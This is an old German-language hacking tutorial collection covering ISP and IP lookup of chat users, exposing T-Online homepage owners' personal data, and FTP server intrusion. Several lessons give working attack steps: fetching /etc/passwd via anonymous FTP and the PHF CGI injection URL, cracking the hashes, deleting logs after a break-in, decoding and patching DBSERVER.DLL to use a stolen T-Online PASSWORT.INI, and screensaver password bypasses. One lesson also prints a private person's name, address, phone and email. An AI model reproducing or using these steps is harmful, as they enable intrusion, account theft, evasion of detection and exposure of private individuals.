Cyberdemon_98

grüsst die hier aufgezählten Personen, die mir in irgendeiner Weise geholfen haben.
Das sind:

* die gesamte Digital Cyber Hackers Crew

* @ngelkiller	zu ihm kann ich nur eins sagen: mach weiter so, du machst das perfekt
* Bandit2612	ich glaube es fing bei ihm alles mit dem Film "Hackers" an
* BlacK PanTheR a.k.a. DraKaN	thx für lange Gespräche, kranke Ideen & Softwarez
* CyberGeezer_98	thx für Softwarez
* Dirty.Harry	Harry, zu Dir nur eins: Du bist verdammt cool... :-)
* GAngZta	der O.G., wechselt seine Namen wie andere Leute die Unterhose
* Gambler87	thx für Kippen
* JFK	thx für -=DCH=-, lustige Telefonate, anarchistische Ideen, ...
* Lacrima	hey du verrücktes Weib, thx für all die Gespräche mit Dir
* Lord Nokia	thx für GSM-Support
* Lost@ngel	thx für lange Telefonate, lustige Stunden und verrückte Ideen
* MadMax183	yeah, Du bist auch cool...
* Pushead	thx für die damalige Bloodgroup
* SISCO	thanxx für deinen VB Support
* WAHNS!	thx für Smartcheck-Unterstützung
* Zlamdog	thx für Audiowarez

und zu guter letzt drei der heißesten Damen unter der Sonne:
Sonnenschein, Mo & Z.P.

c u all
Cyberdemon_98

Hinweis Area:

Hi nochmal,
an dieser Stelle möchte ich euch nur auf ein paar Dinge aufmerksam machen.

- Programme, die ich in den Tutorials evtl. verwende (Ping, Telnet, Tracert, ...)
  sind meistens leicht zu bekommen, die meisten liegen sogar in deinem
  Windows Verzeichnis (FTP, Telnet, Ping, Tracert, Netstat), wenn du als
  Netzwerkprotokoll TCP/IP installiert hast.

- Solltest Du eine Lesson nicht ganz kapiert haben, dann frag nach !!!
  Ich erkläre es Dir schon so, daß Du es verstehst, und sind es noch die
  dusseligsten Fragen.

- Für weitere Tips, die die BIBLE erweitern können, bin ich sehr dankbar !!!
  Also mailt mir eure Erfahrungen, Texte, ...

- An dieser Stelle möchte ich nochmal ein SORRY aussprechen, an all diejenigen,
  die glauben, ich hätte ihnen was gestohlen...aber PECH !!!

- An alle Webmaster !!!
  Wenn ihr meine BiBLE bei euch als Download anbieten wollt... TUT DIES, aber
  laßt diese bitte unverändert im Orginalarchiv (inkl. Dateinamen).
  Und wenn ihr dann schonmal dabei seid, setzt doch ein paar Grüsse auf die Seite.
  Weiterhin bitte ich euch mir eure URL mitzuteilen, damit ich diese in meine Links
  mit aufnehmen kann. Danke !!!

KNOWLEDGE IS POWER

Ausgabe:2ooo

Hi Leute,

da ich unter diesem Motto arbeite dachte ich mir mal ein paar "vernünftige deutsche" Tutorials zum Thema HACKEN & CO. zu schreiben, also liegt euch hier meine deutschen HACKING Tutors vor.
Ich hoffe, daß ihr genauso viel Spass am lesen und probieren habt, wie ich beim Schreiben.

Diese Textdatei beinhaltet meine bisherigen Lösungswege und zukünftigen Projekte die in diesem Archiv enthalten sind oder sein müssten.

Inhalt des Archivs:
* Greetinxxx.txt
  wen ich hiermit grüssen möchte
* Lesson 01 - Provider Sniffing im Internet
  oder wie bekomme ich den Provider einer Person im Internet anhand einer IP Adresse heraus
* Lesson 02 - IP Adresse über ICQ sniffen
  oder wie bekomme ich die IP einer Person über ICQ heraus
* Lesson 03 - T-Online Zugangsdaten einer Webpage
  oder wie bekomme ich hilfreiche Informationen über die Homepage-Besitzer von T-Online heraus
* Lesson 04 - FTP Server hacken
  oder wie hacke ich einen FTP Server
* Lesson 05 - T-Online Zugangsdaten sniffen
  oder wie entschlüssele ich das T-Online Passwort
* Lesson 06 - Passwort des Screensaver unter Win3x
  oder wie entferne ich den Passwortschutz des Bildschirmschoners unter Windows 3.x
* Lesson 07 - Passwort des Screensaver unter Win95
  oder wie entferne bzw. entschlüssele ich das Passwort des Bildschirmschoners unter Win 9.x
* Lesson 08 - Passwortabfrage des Bios umgehen
  oder wie ich die lästige Passwortabfrage des BIOS umgehe
* Lesson 09 - Passwort Hacking
  oder wie entferne ich die Passwörter aus diversen Dokumenten
* Lesson 10 - Fake Emails verschicken
  oder wie ich E-Mails mit falscher Absenderadresse verschicke
* Lesson 11 - Email Bomber mal ganz anders
  oder was ich noch so alles mit einem Mailbomber machen kann
* Lesson 12 - Pincodes der Pager
  oder wie bekomme ich den Standard PIN einiger Pager Systeme
* Lesson 13 - Netbus Server Passwort hacken
  oder wie hacke ich den Netbus Server via Telnet
* Lesson 14 - Finger einen User via Telnet
  LEIDER NOCH NICHT VERÖFFENTLICHT :-(
* Lesson 15 - Header Informationen lesen
  oder wie man aus einem Header nützliche Infos entnehmen kann
* Lesson 16 - ICQ User Adden
  oder wie füge ich Personen zu meiner Kontakt-Liste, ohne das diese es mitbekommen
* Lesson 17 - Nützliche Windowshilfe
  oder wie ich mir als Gast einige gesperrte Features wieder zurück erobere
* Lesson 18 - Secret FTP
  oder wie ich via Dos-FTP mehr sehe als normale FTP Clients
* Lesson 19 - Root Passwort löschen
  oder wie ich das Root Passwort einer lokalen Linux Maschine lösche
* Lesson 20 - Win 9x Screensaver Crash
  oder wie ich den Windows Bildschirmschoner im laufenden Betrieb kille
* Lesson 21 - Serv-U FTP Server Tricks
  oder wie man Serv-U Maschinen crasht, sowie Info's über diese bekommt
* Lesson 22 - Handy Mailbox Hacking
  LEIDER NOCH NICHT VERÖFFENTLICHT :-(

* Lesson 23 - Internet-Cafe PC Hack
  oder wie ich im Internet Cafe den PC lokal hacke
* Lesson 24 - IExplorer Passwort umgehen
  oder wie ich das Passwort des Internet Explorer's lösche
* Lesson 25 - Bildschirmschoner Passwörter
  LEIDER NOCH NICHT VERÖFFENTLICHT :-(
* Lesson 26 - Cisco Router Passwort umgehen
  LEIDER NOCH NICHT VERÖFFENTLICHT :-(

**********DISCLAIMER**********

Diese FAQ wurde (hart) erarbeitet und erfasst von Cyberdemon_98
Ich bin NICHT für irgendwelche Schäden in den daraus folgenden Aktionen verantwortlich
Jeder ist für seine Tat selbst verantwortlich.

Die Tutorials dürfen natürlich einfach verbreitet werden, lasst sie bitte nur in dem original Archiv !

Solltet Ihr ein Update erwünschen sobald eins erscheint, schickt mir einfach eine Mail und ihr bekommt es kostenfrei direkt in den Postkasten ;-)

Solltet ihr Lob, Anregungen, Kritik, Beiträge (wäre ich sehr froh drüber, denn dann hätte ich nicht die ganze Arbeit alleine und es wird somit immer umfangreicher) oder sonstiges los werden, so ziehrt euch nicht mir zu mailen

****

E-M@ail:Cyberdemon_98@gmx.net

Provider Sniffing im Internet:
==========

Das einzige was du benötigst, um den Provider einer Person zu ermitteln, ist seine komplette IP Adresse oder die IP Adresse bis hin zum Subnetz.
Solltest du diese haben, dann haben wir in dem Fall schonmal gewonnen.
Solltest du diese nicht haben ... trainiere !!!
(in den meisten Chaträumen oder im IRC bekommt ihr sie mit dem Befehl "whois". Ihr könnt sie auch aus einer EMail nehmen, indem ihr euch den Header der Message genau betrachtet)

Okay, weiter geht's.
Wir haben also die (komplette oder einen Teil) seiner IP Adresse. Nun müssen wir nur noch eine WHOIS Anfrage starten. Dazu nutzen wir den Service mehrerer Dienste im Internet die frei zugänglich sind. Folgende Adresse(n) notieren:

* http://www.nic.de/whois.html
  Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Deutschland kommt
* http://www.arin.net/whois/arinwhois.html
  Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Amerika kommt
* http://www.ripe.net/db/whois.html
  Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Europa (allgemein) oder Afrika kommt
* http://www.apnic.net/reg.html
  Wir starten bei diesem Dienst unsere Anfrage sollten wir vermuten, daß die Person aus Asien oder der Pazifikregion kommt

Nachdem wir unsere Anfrage gestartet haben, beeindruckt uns entweder das Ergebnis, indem wir eine positive Antwort bekommen haben, so daß wir z.B. den Provider nun sehen können, oder aber die Adresse des Providers oder aber wie gross das Subnetz des Providers ist. Und was man mit einem Subnetz und einem Scanner alles anrichten kann, daß wissen wir doch alle ;-)
Sollten wir aber beim ersten Mal kein Glück gehabt haben, so starten wir einfach die nächste Anfrage bei einem anderen Dienst so lange bis wir alle durch haben oder eine positive Antwort bekommen haben.
Und das keine der Möglichkeiten funktioniert kann nicht sein, denn bei irgendeinem Provider muss er sich ja einwählen und der ist nun mal online registriert und damit auch abrufbar ;-)

So, das war auch schon das eigentliche Geheimnis worum es beim Provider Sniffing geht !!!

Anmerkung:
AOL gehört zu Amerika

c u all
Cyberdemon_98

IP Adresse über ICQ sniffen:
==========

Hey, einige von euch (inkl. mir) nutzen ICQ zum Austausch von Informationen und privaten Gesprächen. Leider oder glücklicherweise (man nehme es wie es wolle!) kann man mit Hilfe alter DOS Befehle die IP via ICQ auf einem ganz einfachen Weg herausbekommen.

Vielleicht denkt jetzt der ein oder andere, daß seine IP sicher sei, da er
"Do not allow others to see my IP adress" aktiviert hat.

Leider ist dem nicht so, wie meine 2.Stunde es euch hier Schritt für Schritt beweisen wird ;-)

Okay, hier folgt nun der komplette Weg den ihr gehen müsst um die IP's via ICQ zu sniffen:

* Schickt demjenigen eine Nachricht oder macht einen Chat auf, dessen IP ihr sniffen wollt

* Öffnet sofort nach dem Versand der Message unter Windows die Dos-Eingabeaufforderung und tippt ein:
  netstat -a

  Netstat ist ein Programm, daß euch Protokoll Statistiken und aktive Netzwerkverbindungen anzeigt

* Nach einer Weile erhaltet ihr Informationen, die folgendermaßen aussehen können:

    Active Connections

Proto	Local Address	Foreign Address	State
TCP	Demon:0	0.0.0.0:0	LISTENING
TCP	Demon:1029	0.0.0.0:0	LISTENING
TCP	Demon:1030	0.0.0.0:0	LISTENING
TCP	Demon:1090	0.0.0.0:0	LISTENING
TCP	Demon:1091	0.0.0.0:0	LISTENING
TCP	Demon:1098	0.0.0.0:0	LISTENING
TCP	Demon:1099	0.0.0.0:0	LISTENING
TCP	Demon:1093	0.0.0.0:0	LISTENING
TCP	Demon:1090	server5.sys.www.ozemail.net:80	CLOSE_WAIT
TCP	Demon:1091	server5.sys.www.ozemail.net:80	CLOSE_WAIT
TCP	Demon:1098	server5.sys.www.ozemail.net:80	CLOSE_WAIT
TCP	Demon:1099	p3-max35.auck.ihug.co.nz:1054	ESTABLISHED
TCP	Demon:137	0.0.0.0:0	LISTENING
TCP	Demon:138	0.0.0.0:0	LISTENING
TCP	Demon:nbsession	0.0.0.0:0	LISTENING
TCP	Demon:1029	0.0.0.0:0	LISTENING
TCP	Demon:1093	0.0.0.0:0	LISTENING
TCP	Demon:nbname	0.0.0.0:0	LISTENING
TCP	Demon:nbdatagram	0.0.0.0:0	LISTENING

Wie man aus diesen Informationen herausnehmen kann, besteht eine direkte Verbindung zu
p3-max35.auck.ihug.co.nz:1054
Dies ist die aktuelle "Line" (also Leitung) die der User benutzt. Genau das ist es was uns interessiert.

* Tippt in der Eingabeaufforderung ein:
   ping p3-max35.auck.ihug.co.nz:1054
   Mit dem Befehl >ping< pingt ihr den User sozusagen an und guckt ob dieser aktiv ist

Das Ergebnis ist verblüffend und kann folgendermaßen aussehen:
~~~~~~
Pinging p3-max35.auck.ihug.co.nz [209.76.151.67] with 32 bytes of data:
Reply from 209.76.151.67: bytes=32 time=1281ms TTL=39
Request timed out.
Reply from 209.76.151.67: bytes=32 time=1185ms TTL=39
Request timed out.

Ping statistics for 209.76.151.67:
Packets: Sent = 4, Received = 2, Lost = 2 (50% loss),
Approximate round trip times in milli-seconds:
~~~~~~

```
Minimum = 1185ms, Maximum =  1281ms, Average =  616ms
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
Na, ihr ahnt schon etwas ????
Die aktuelle IP Adresse unseres Opfers lautet: 209.76.151.67

Mehr steckt hinter einem solchen Sniffing nicht und ist doch supereinfach, oder ???
Aber habt ihr Bock jedes Mal "netstat -a" und dann noch den langen host-name anpingen ???
Nein, denn wer hat schon Lust dazu.
Dann versuch mal anstatt "netstat -a" einfach "netstat -n", da bekommst Du eine Liste mit IP's, mitdenen Du im Moment eine aktive Verbindung hast.

Und was man mit einer IP Adesse alles anfangen kann, muß ja von mir nicht weiter erläutert werden ;-)

So, das war's auch schon wieder für dieses Mal.
Ich hoffe, daß ihr Spass an meiner 2. Hacking Lesson in German Spass hattet und euch nun auf eine weitere freut ;-)

c u all
Cyberdemon_98

T-Online Zugangsdaten einer Webpage:
====================================

Bin wieder da mit einer neuen Stunde meiner Hacking Tutorials.
In dieser Tutorial geht es darum wie man bestimmte Daten einer Person ermittelt, wie z.B. Name, Telefonnummer, ..., dessen Homepage auf einem T-Online Server liegt.
Das bedeutet das die URL seiner Homepage mit >http://home.t-online.de/home/< anfangen muß.

Für diese Stunde nutze ich das Beispiel indem wir einfach uns bei T-Online einloggen, irgendeine Homepage eines Kunden suchen und diese dann öffnen.

In meinem Fall habe ich nach dem Wort "hacker" gesucht, da ich mal gerne wissen will, wer denn in Deutschland illegale Aktionen betreibt und eventuell Hacker-Programme zum Download anbietet.
Nach einer kurzen Suche fand ich schon eine Zielperson bzw. noch die URL des Opfers:
http://home.t-online.de/home/kbtf15/files.htm

So, nun öffnen wir die Seite im Browser und schauen sie uns an ;-), denn vielleicht kann man ja noch ein paar neue Tools downloaden, die noch nicht in unserem Besitz sind.
Nun gilt unserem Interesse dem Betreiber dieser illegalen Seite.
Dazu setzen wir eine neue Adresse in den Browser, der uns prompt die Daten liefern soll:
http://home.t-online.de/home/kbtf15/.impressum.html

Und zwar bewirkt das dieses eine HTML, daß JEDER T-Online User automatisch mit in seinem Upload Verzeichnis
anlegt und es nicht löschen kann.

Nach einer Anfrage auf diese Adresse erhalten wir folgende Informationen:
~~~~~~
Verantwortlich für den Inhalt des Verzeichnisses http://home.t-online.de/home/0349381474-0001:

Kerber, Ulrich
Freiligrathstr. 47
06792 Sandersdorf

T-Online-Nummer: 0349381474-0001
E-Mail-Adresse: KBTF15@t-online.de
~~~~~~
Wie wir sehen haben wir nun alle brauchbaren Informationen gesammelt:
Namen, Vornamen, Strasse, Postleitzahl und Wohnort sowie zu seine Telefonnummer (0349381474)
und zu guter letzt auch noch seine EMail Adresse.

So, das war's auch schon wieder mit dem Tutorial.
Und dann reden wir noch von Sicherheit in Deutschland ???
Also, ich empfand dies nicht gerade als schwer und ihr hoffentlich auch nicht

c u all
Cyberdemon_98

P.S.: Also, immer daran denken, einfach nur >.impressum.html< hinter das Homeverzeichnis zu setzen und schon seit ihr ein paar Informationen über den Betreiber dieser Seite schlauer ;-)

FTP Server hacken:
==========

Huhu !
Habt ihr nicht schon immer einmal daran gedacht wie es wäre einen FTP Server zu hacken, sich als root uneingeschränkten Zugriff verschaffen und eventuell auch noch die Web Seiten auszutauschen um euch zu präsentieren ???

Also, ich kenne keinen Hacker (oder solche, die es werden wollen), die sich dieser Vorstellung bisher entzogen haben.

Zuerst brauchen wir noch ein paar Dinge, bevor wir richtig loslegen:
* einen FTP Client (ich bevorzuge den von Windows)
* einen Password Cracker (John The Ripper)
* eine möglichst grosse Wordlist oder einen Dictionary Maker
  (dieser Punkt fällt weg, wenn wir einen BruteForce Password Cracker haben)
* viel Zeit

Ich bevorzuge noch das hinzuziehen von irgendwelchen Getränken wie Cola, Kaffee oder auch Tee.

Wenn wir all diese Dinge geklärt haben, können wir endlich loslegen ;-)

Probieren wir es zuerst mit der einfachsten Methode, indem wir unseren FTP Client starten und eine Verbindung zum "Opfer - FTP" herstellen. Dort versuchen wir uns nun als "anonymous" einzuloggen und senden als Passwort eine falsche E-Mail Adresse.
Hierzu gehen wir in die DOS-Eingabeaufforderung und tippen ein (nach jeder Zeile Return drücken):

```
ftp
open target.com
anonymous          (hier teilen wir dem Server unseren Benutzernamen mit)
Bill@Microsuck.com (hier teilen wir dem Server "unsere" E-Mail Adresse mit)
get /etc/passwd    (wir downloaden das file mit dem Namen passwd)
get /etc/shadow    (falls die passwd nicht existiert, downloaden wir die shadow)
disconnect         (trennt die Verbindung zum Server)
quit               (schliesst den FTP Client)
```

Sollten wir hier schon Glück gehabt haben, ist der Rest ein Kinderspiel.
Wir besitzen schonmal das passwd file und müssen dieses nur noch cracken. Dazu nehmen wir unseren Cracker und lassen ihn entweder nach der Dictionary oder Brute Force Methode das Passwort entschlüsseln. Das Ergebnis was wir bekommen, ist das Passwort des "root" Account (unter Novell: Supervisor; unter NT: Administrator), mit dem wir nun wieder eine neue FTP Verbindung zu unserem Server herstellen und uns als root und dem frisch gecrackten
Passwort anmelden.

Sollten wir allerdings an der ersten Methode gescheitert sein, können wir uns einen kleinen Bug in einigen UNIX Versionen zu Nutze machen. Hierzu benötigst du nur noch einen Webbrowser, in den du folgende Adresse eingibst (anstelle des www.target.com einfach den Domainnamen eintragen):
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

bzw.

http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow

Wiederum kann es hier klappen, dass wir den Inhalt der passwd oder shadow file sehen. Sollte dies der Fall sein, so speichern wir diese und cracken sie nur noch mit Hilfe unserer Proggies, loggen uns als root ein und treiben nun nach belieben dort unser Spielchen auf dem FTP Server.

Es kann trotzdem geschehen, dass wir noch durch keine der beiden Methoden
Erfolg gehabt haben ;-(
An dieser Stelle sollten wir es mit dem Brute Force Hacking probieren. Brute Force bedeutet ganz einfach, ALLE möglichen Kombinationen zu probieren, was sehr zeitaufwendig sein kann und wird.
TIP: UNIX Passwörter sind maximal 8 Zeichen lang !!!

So, hiermit hätten wir dann auch das Thema mit dem FTP / Website hacken abgeschlossen.
Eigentlich ist das ganze ziemlich simpel. Solltet ihr es dennoch nicht beim ersten Mal lesen verstanden haben, so lest es immer und immer wieder und sollten dann noch Fragen auftauchen, mailt mir und fragt mich.

c u all
Cyberdemon_98

Es gilt für jede Transaktion: Solltet ihr erfolgreich in ein System mit einem Administrator Account eingebrochen sein, killt zuerst die LOG Files, denn diese enthalten, was wirklich geschehen ist. Und wir wollen doch wirklich nicht, dass wir unseren Gegnern eine Spur hinterlassen. Alle Web-Server speichern irgendwo LOG-Files, indenen steht, wer sich wann, mit welchem Namen, mit welcher IP von wo aus eingeloggt hat.

T-Online Zugangsdaten sniffen:
==========

Und wieder ist ein weiteres Tutorial fertig und liegt nun direkt vor euch.
In diesem Tutor wollen wir uns um die Zugangsdaten bei T-Online kümmern und daraus lernen, wie man Passwörter ganz einfach herausbekommt. Diesen Teil der einfachen Verschlüsselung verdanken wir den Programmierern der T-Online Software, die wohl keinen Bock zum verschlüsseln hatten und ein simples Muster verwendet haben ;-)
Leider habe ich feststellen müssen, das sich die "Verschlüsselung" von Version zu Version unterscheidet.

Die Zugangsdaten der T-Online Software unterliegen folgenden Konventionen:

- Anschlußkennung : 12 Zeichen (numerisch)
- T-Online Nummer : 12 Zeichen (numerisch)
- Suffix   : 4 Zeichen (numerisch)
- Passwort   : 8 Zeichen (alphanumerisch)

Als Passwort können sowohl Zahlen als auch Buchstaben vergeben werden.
Bei der Anschlußkennung, der T-Online Nummer und dem Suffix sind nur Zahleneingaben (numerische Werte) möglich.

Die Zugangsdaten (inkl. Passwort) sind in der Datei "PASSWORT.INI" gespeichert.
Sollte dies nicht der Fall sein, öffnet anstelle der PASSWORT.INI die DBSERVER.INI.
Wenn ihr bemerkt das die PASSWORT.INI nicht existiert, wissen wir nun daraus, das der User die Version 1.x benutzt.
Die beiden Dateien liegen im T-Online Verzeichnis. Der komplette Pfad zu T-Online steht wiederum in der "WIN.INI", die sich bekanntlich im Windows Ordner aufhält.

Solltet ihr hier schon erkennen, das es sich um eine andere Weise der Verschlüsselung handelt, dann ist der nachfolgende Teil für euch uninteressant.
In Version 2.04 ist die Decodierung des Passwortes nämlich schwieriger als in der Vorgängerversion.
Die nachstehende Tabelle dient ausschliesslich zum Dekodieren des T-Online Passwortes in der Version 1.x !!!

Die in der Datei gespeicherten Informationen wurden nach folgendem System "verschlüsselt":
(verschlüsselt ist wohl nicht der richtige Ausdruck).

Dekodieren des Passwortes in Version 1.x
==========

FXD^ = 0	F\D^ = 1	F´D^ = 2
FdD^ = 3	GXD^ = 4	G\D^ = 5
G`D^ = 6	GdD^ = 7	HXD^ = 8
H\D^ = 9		
F\Hd = a	HdF´ = b	FdHd = c
GXHd = d	G\Hd = e	G´Hd = f
GdHd = g	HXHd = h	H\Hd = i
I\Hd = m	I´Hd = n	IdHd = o
FXHf = p	F\Hf = q	F´Hf = r
FdHf = s	GXHf = t	G\Hf = u
G´Hf = v	GdHf = w	HXHf = x
H\Hf = y	H´Hf = z	
F\F´ = A	F´F´ = B	FdF´ = C
GXF´ = D	G\F´ = E	G´F´ = F
GdF´ = G	HXF´ = H	H\F´ = I
H´F´ = J	HdF´ = K	IXF´ = L
I\F´ = M	I´F´ = N	IdF´ = O
FXFb = P	F\Fb = Q	F´Fb = R
FdFb = S	GXFb = T	G\Fb = U
G´Fb = V	GdFb = W	HXFb = X
H\Fb = Y	H´Fb = Z	

So, das ist auch schon alles was wir brauchen, denn mehr "Verschlüsselung" steckt hinter der T-Online Software nicht :-)
Und was soll ich jetzt mir der obenstehenden Tabelle machen ???

Die Datei DBSERVER.INI oder PASSWORT.INI öffnen, die schei** Zeichen vergleichen, und sich über das erklaute Passwort freuen. Das heisst, es gilt nur für Version 1.x...denn für nachfolgende Versionen sieht die Sache schon etwas komplizierter aus.
Da ich es euch aber nicht vorenthalten möchte, führe ich auch die Variante hier nun auf :-)

DBSERVER.DLL - Patch : Übernahme fremder Passwortdatei

T-Online 2.04 prüft automstisch, ob eine geklaute Passwort.ini ins T-Online Verzeichnis kopiert wurde.
Es erfolgt dann eine Sicherheitsabfrage bei der man das Passwort (das wir ja noch nicht kennen) eingeben soll. Nachdem die DBSERVER.DLL wie unten stehend modifiziert wurde, kann man dort irgendetwas eingeben, T-Online geht normal im Programm weiter. Es wurden einfach einige Jumps durch NOP'S (90) ersetzt.

T-Online Version 2.040 ; DBSERVER.DLL : Version 8.01
Routine beginnt ab Offset Hex: 281c0

T-Online Version 2.042 ; DBSERVER.DLL : Version 8.05
Routine beginnt ab Offset Hex: 29325

Vorher Hex	Nachher Hex	Assembler Quellcode		
75 32	-> 90 90	jne	29359	-->NOP NOP
8C D0		mov	ax,ss	
8D B6 30 FF		lea	si,[bp][0FF30]	
BF 2C 80		mov	di,0802C	
FC		cld		
50		push	ax	
33 C0		xor	ax,ax	
B9 FF FF		mov	cx,0FFFF	
F2 AE		repne	scasb	
F7 D1		not	cx	
2B F9		sub	di,cx	
8C D8		mov	ax,ds	
1F		pop	ds	
50		push	ax	
33 C0		xor	ax,ax	
F3 A6		repe	cmpsb	
1F		pop	ds	
74 05	-> 90 90	je	2934D	-->NOP NOP
1B C0		sbb	ax,ax	
1D FF FF		sbb	ax,0FFFF	
0B C0		or	ax,ax	
75 08	-> 90 90	jne	29359	-->NOP NOP
FF 76 0E		push	w,[bp][0000E]	
6A 01		push	01	
E9 81 01		jmp	294DA	

Jetzt kann man schon mit den Daten des Users Online gehen, aber war das Ziel unserer Mission nicht das Passwort zu erspähen ??? Soweit sogut, um auch das Passwort sowie die Anschlußkennung zu Gesicht zu bekommen, müssen wir wie folgt vorgehen:

a) Bei der "Alten" T-Online Version 2.040 war das einfach, man brauchte blos 2 Bytes in der DBSERVER.DLLaustauschen :

suche nach Hex: 54 04 20 00 83 50... und ersetze die "20" durch "00"
sowie nach Hex: 58 04 20 00 83 50... und ersetze die "20" durch "00"

Im T-Online Programm konnte man nun dort die Zugangsdaten im Klartext lesen, da man hierdurch das Passwort-Editfeld "*****" in ein normales Editfeld geändert hatte.

b) Bei der Version 2.042 geht das nicht mehr, dort erscheinen nur
   Sternchen ***** auch nach dem Patch aus Schritt 2a).
   Ich habe daher die T-Online Sicherheitsabfrage aus Schritt 1) umgebaut, so daß sie die
   Passwörter im Klartext anzeigt sobald eine Passwort.ini eines fremden Users eingefügt wird...
   ;-)

Um mithalten zu können, geht ihr einfach wie folgt vor:

Man macht sich klar das T-Online das Passwort zunächst selbst entschlüsseln muß um festzustellen ob das Richtige eingegeben wurde. Dieses Passwort liegt dann irgendwo im Arbeitsspeicher des Rechners unverschlüsselt herum! Das gleiche gilt für die Anschlußkennung, Telefonnummer und Mitbenutzernummer. Ebensfalls im Arbeitsspeicher des Rechnes liegen diverse Strings herum, zum Beispiel "Bitte geben Sie das Passwort ein" oder "noch % Versuche" oder "zwei".
Diese Strings werden auf dem Bildschirm ausgegeben wenn das Fenster der T-Online Sicherheitsabfrage erscheint. Das einzige was man also tun muß ist die Stelle im Programm finden wo diese Strings ausgegeben werden und den Zeiger auf diesen String umbiegen auf das Passwort...:-)

Naja, das ganze mag jetzt vielleicht einfach klingen, ist es aber nicht.
1. Wie finde ich die Stelle im Arbeitsspeicher wo das Passwort unverschlüsselt steht?

Starte T-Online 2.04 unter Windows 3.x; starte dann viele andere Programme bis das T-Online Programm vom Arbeitsspeicher in die Auslagerungsdatei (386spart.par) auf die Festplatte übertragen wird. Windows NICHT schließen. Die Auslagerungsdatei nach "0001" durchsuchen (ggf. mehrfach) oder nach der Telefonnummer des Users. Kurz dahinter steht das Passwort im Klartext. Am besten zuerst mit dem eigenen Passwort ausprobieren, sofern man T-Online Kunde ist.

2. Um welchen Wert muß ich den Zeiger des Strings ändern damit statt dessen das Passwort angezeigt wird?

Merk dir die Position des Passworts in der Auslagerungsdatei.
Suche jetzt nach dem String anstelle dessen du das Passwort ausgeben willst.
Merk dir ebenfalls die Position in der Auslagerungsdatei !
--> Aus der Diffrerenz beider Positionen kennst du jetzt den Wert um den du den Zeiger ändern mußt um anstelle des Strings das Passwort im Fenster erscheinen zu lassen.

3. Wie finde ich die Stelle im Quellcode die den String "zwei" ausgibt?

Disassembliere die Datei DBSERVER.DLL mit einem Windows Dissassembler (WDASM).
Suche den String im Quellcode. Vor dem String bringt der Disassembler eine Markierung an z.B."L 83E9 H". Suche die Stelle im Quellcode die auf diesen String zeigt (suche in diesem Beispiel nach "83E9").So eine gefundene Stelle sieht dann z.B. so aus "MOV AX,83E9".

4. Wie ändere ich mit diesen Daten die DBSERVER.DLL um ?

Assembliere den gefundenen Befehl wieder in Hexadezimale Zahlen --> B9 E9 83
Suche nach diesen 3 Zahlen in der DBSERVER.DLL . Addiere/Subtrahiere jetzt den Wert den du unter 2. errechnet hast. Schreibe diesen Wert (z.B. 83F4) jetzt an die gefundene Stelle.
B9 F4 83 "MOV AX, 83F4"

SO, den Rest kennt ihr ja:
Die erklauten Daten auf einem Zettel notieren, T-Online installieren (sofern man dies noch nicht getan hat), die Zugangsdaten eingeben, und eine Verbindung aufbauen :-)

Wie ihr ja auch sicher alle wisst, nutzt man so etwas natürlich nur für seine eigene Datei, und missbraucht diese Tips nicht zu irgendwelchen illegalen Zwecken, denn das wäre ja fies ;-)
Und fies sein will doch wohl keiner von euch, oder ???

Das war`s...für dieses Mal

c u all
Cyberdemon_98

P.S.: Die technischen Details zu Version 2.04 habe ich aus dem Tutorial von "Barret 1998".
Ich möchte mich hiermit herzlich bei ihm bedanken, ihn grüssen und ihn bitten mir nicht allzu verärgert zu sein, daß ich seine Informationen hier in meiner Lesson so preisgebe :-)

Passwort des Screensaver unter Win3x:

Jep, ihr seit also wieder da ??? - Gut.
Heute wird es eine sehr kurze Hacking Stunde, denn heute möchte ich zeigen, wie man das Passwort des Bildschirmschoners unter Windows 3.x umgeht/löscht.
Es wird deshalb eine kurze Lesson, da die Programmierer von Microsoft eine echt affige Verschlüsselung eingebaut haben, die wir aber ausnutzen können ;-)

Es ist bei Win 3.x echt simpel.
Die Microsoft Programmierer liessen uns mehrere Wege offen um den "Schutz" zu umgehen.

1. Möglichkeit
Bei älteren Bildschirmschonern kann man die Kennworteingabe umgehen, indem man STRG + ESC oder STRG + ALT + ENTF (Task beenden) drückt.

2. Möglichkeit
Das Passwort des Bilschirmschoners wird verschlüsselt in der Registrierdatenbank unter HKey_Current_User\ControlPanel\desktop als Binärwert "ScreenSave_Data" gespeichert.
Wenn dieser Schlüssel oder sein Wert gelöscht wird, ist der Passwortschutz weg.

3. Möglichkeit
Das Bildschirmschoner Passwort wird in der Control.ini im Windowsverzeichnis festgehalten.
Die Datei einfach in einen Viewer (Notepad, Wordpad) laden.
Nun erhält man weiter unten die ganzen installierten Screensaver.
Die Bildschirmschoner, mit denen man das Windows schützen kann, enthalten eine Zeile wie:
Password=
PWProtected=0 (nicht geschützt oder 1 für geschützt)
Bei dem ersten Beispiel löscht man ganz einfach den dahinterstehenden, verschlüsselten Text.
Bei dem zweiten Beispiel ändert man ganz einfach den Wert auf 0 falls dieser auf 1 steht.

So, dann wäre auch das Problem aus der Welt geschafft ;-)

cu all, bis zur nächsten Lesson
Cyberdemon_98

P.S.: Diesen Trick könnt ihr bei Saturn, Media Markt, Karstadt, ... gut verwenden :-)

Passwort des Screensaver unter Win95:
==========

So, in der vorherigen Lesson habe ich euch gezeigt, wie einfach es ist das Passwort des Bildschirmschoners zu "deaktivieren". Dies ist auch unter Windows 95/98 kein Problem.

	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15
A	3039	4146	3337	3543	3236	3238	4530	3541	3342	4344	3036	4239	3135	4434	4436
B	3041	4143	3334	3546	3235	3242	4533	3539	3338	4345	3035	4241	3136	4437	4435
C	3042	4144	3335	3545	3234	3241	4532	3538	3339	4346	3034	4242	3137	4436	4434
D	3043	4141	3332	3539	3233	3244	4535	3546	3345	4338	3033	4243	3130	4431	4433
E	3044	4142	3333	3538	3232	3243	4534	3545	3346	4339	3032	4244	3131	4430	4432
F	3045	4138	3330	3542	3231	3246	4537	3544	3343	4341	3031	4145	3135	4433	4431
G	3046	4139	3331	3541	3230	3245	4536	3543	3344	4342	3030	4246	3133	4432	4430
